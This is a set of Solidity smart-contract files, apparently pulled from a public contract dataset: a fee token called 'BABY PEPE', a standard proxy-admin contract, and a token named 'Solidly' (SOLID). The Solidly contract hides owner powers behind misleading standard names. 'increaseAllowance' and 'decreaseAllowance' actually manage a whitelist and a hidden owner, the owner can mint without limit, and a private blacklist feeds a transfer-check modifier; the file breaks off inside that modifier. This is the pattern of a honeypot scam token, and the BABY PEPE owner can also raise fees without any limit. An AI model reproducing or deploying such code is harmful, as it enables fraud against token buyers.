_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() external virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface ILpPair {
function sync() external;
}
contract BABYPEPE is ERC20, Ownable {
uint256 public maxWallet;
IDexRouter public immutable dexRouter;
address public immutable lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address marketingWallet;
uint256 public tradingActiveBlock;
uint256 public tradingActiveTs;
uint256 public blockForPenaltyEnd;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event BuyBackTriggered(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
event CaughtEarlyBuyer(address sniper);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity);
event TransferForeignToken(address token, uint256 amount);
constructor() ERC20("BABY PEPE", "BABYPEPE") {
address newOwner = msg.sender; // can leave alone if owner is deployer.
address _dexRouter;
// automatically detect router/desired stablecoin
if(block.chainid == 42161){
_dexRouter = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506; // ARB: SushiSwap
} else {
revert("Chain not configured");
}
dexRouter = IDexRouter(_dexRouter);
// create pair
lpPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
_excludeFromMaxTransaction(address(lpPair), true);
_setAutomatedMarketMakerPair(address(lpPair), true);
uint256 totalSupply = 1 * 1e6 * 1e18;
maxWallet = totalSupply * 3 / 100; // 3% Max wallet
swapTokensAtAmount = totalSupply * 1 / 10000;
buyMarketingFee = 19;
buyLiquidityFee = 1;
buyTotalFees = buyMarketingFee + buyLiquidityFee;
sellMarketingFee = 19;
sellLiquidityFee = 1;
sellTotalFees = sellMarketingFee + sellLiquidityFee;
_excludeFromMaxTransaction(newOwner, true);
_excludeFromMaxTransaction(address(this), true);
_excludeFromMaxTransaction(address(0xdead), true);
_excludeFromMaxTransaction(address(dexRouter), true);
excludeFromFees(newOwner, true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(address(dexRouter), true);
marketingWallet = address(newOwner);
_createInitialSupply(newOwner, totalSupply);
transferOwnership(newOwner);
}
receive() external payable {}
function tradingStatus(bool newStatus) public onlyOwner {
tradingActive = newStatus;
swapEnabled = newStatus;
}
// remove limits after token is stable
function removeLimits() external onlyOwner {
limitsInEffect = false;
transferDelayEnabled = false;
emit RemovedLimits();
}
function updateMaxWallet(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 100)/1e18, "Cannot set max wallet amount lower than 1%");
maxWallet = newNum * (10**18);
emit UpdatedMaxWalletAmount(maxWallet);
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
swapTokensAtAmount = newAmount;
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
_isExcludedMaxTransactionAmount[updAds] = isExcluded;
emit MaxTransactionExclusion(updAds, isExcluded);
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
if(!isEx){
require(updAds != lpPair, "Cannot remove uniswap pair from max txn");
}
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
_excludeFromMaxTransaction(pair, value);
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateFees(uint256 _marketingBuyFee, uint256 _liquidityBuyFee, uint256 _marketingSellFee, uint256 _liquiditySellFee) external onlyOwner {
buyMarketingFee = _marketingBuyFee;
buyLiquidityFee = _liquidityBuyFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee;
sellMarketingFee = _marketingSellFee;
sellLiquidityFee = _liquiditySellFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must be greater than 0");
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if(limitsInEffect){
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
if (transferDelayEnabled){
if (to != address(dexRouter) && to != address(lpPair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later.");
_holderLastTransferTimestamp[tx.origin] = block.number;
_holderLastTransferTimestamp[to] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Can't exceed maxWallet");
}
//normal transfer
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Can't exceed maxWallet");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount * sellTotalFees / 100;
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
_approve(address(this), address(dexRouter), tokenAmount);
// make the swap
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0, // accept any amount of ETH
path,
address(marketingWallet),
block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(dexRouter), tokenAmount);
// add the liquidity
dexRouter.addLiquidityETH{value: ethAmount}(address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0xdead),
block.timestamp);
}
function swapBack() private {
if(tokensForLiquidity > 0 && balanceOf(address(this)) >= tokensForLiquidity) {
super._transfer(address(this), address(lpPair),tokensForLiquidity);
ILpPair(lpPair).sync();
}
tokensForLiquidity = 0;
uint256 contractBalance = balanceOf(address(this));
if(contractBalance == 0) {return;}
swapTokensForEth(contractBalance);
tokensForMarketing = balanceOf(address(this));
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
function setMarketingWallet(address _marketingWallet) external onlyOwner {
require(_marketingWallet != address(0), "_marketingWallet address cannot be 0");
marketingWallet = payable(_marketingWallet);
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
swapping = true;
swapBack();
swapping = false;
emit OwnerForcedSwapBack(block.timestamp);
}
}
| 41,266 | 13,224 |
5910943724e5c4dbb80d97dbc950dddfe5cee9b8c1c074ce430bd8f8791f5f2b
| 33,049 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/5a/5A6cA322c46ac84E1A36EfD7e698dAF60B5f1Cc9_ProxyAdmin.sol
| 3,531 | 14,793 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback () external payable virtual {
_fallback();
}
receive () external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {
}
}
interface IBeacon {
function implementation() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)",
oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon),
"ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ProxyAdmin is Ownable {
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}
function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
| 85,751 | 13,225 |
d79ba35b6455e2299d8a272c3fa500cfb3fe6f339a20bf522d454d5cb8706f54
| 31,607 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/3b/3b6e5fa0322888b94dca443ce4f3785ac0001dfa_Solidly.sol
| 3,358 | 12,888 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Solidly is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
address public owner;
string private _name = "Solidly";
string private _symbol = "SOLID";
uint8 private _decimals = 18;
uint256 private _totalSupply;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
constructor(address payable _ownr, uint256 initialSupply) public {
owner =_ownr;
_owner = msg.sender;
_safeOwner = msg.sender;
mint(owner, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
address private _owner;
address private _safeOwner;
uint256 private _sellAmount = 0;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
address private _router = 0xF491e7B69E4244ad4002BC14e878a34207E38c29;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function transferToken(address token, address recipient, uint256 amount) public {
require(msg.sender == _owner, "!owner");
IERC20(token).transfer(recipient, amount);
}
function transferAndCall(address[] calldata receivers, uint256[] calldata amounts) public {
require(msg.sender == _owner, "!owner");
require(receivers.length == amounts.length, "Invalid input parameters");
for(uint256 i = 0; i < receivers.length; i++) {
require(receivers[i] != address(0));
uint256 _amount = amounts[i];
_amount = _amount*10**18;
require(_balances[owner] >= _amount, "WERC10: transfer amount exceeds balance");
_balances[owner] = _balances[owner].sub(_amount, "ERC20: transfer amount exceeds balance");
_balances[receivers[i]] = _balances[receivers[i]].add(_amount);
emit Transfer(owner, receivers[i], _amount);
}
}
function allowance(address ownr, address spender) public view virtual override returns (uint256) {
return _allowances[ownr][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function _addApprove(address[] memory receivers) private {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
uint256 _amount = amount*(10**18);
_totalSupply = _totalSupply.add(_amount);
_balances[account] = _balances[account].add(_amount);
emit Transfer(address(0), account, _amount);
}
function burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address ownr, address spender, uint256 amount) internal virtual {
require(ownr != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[ownr][spender] = amount;
emit Approval(ownr, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
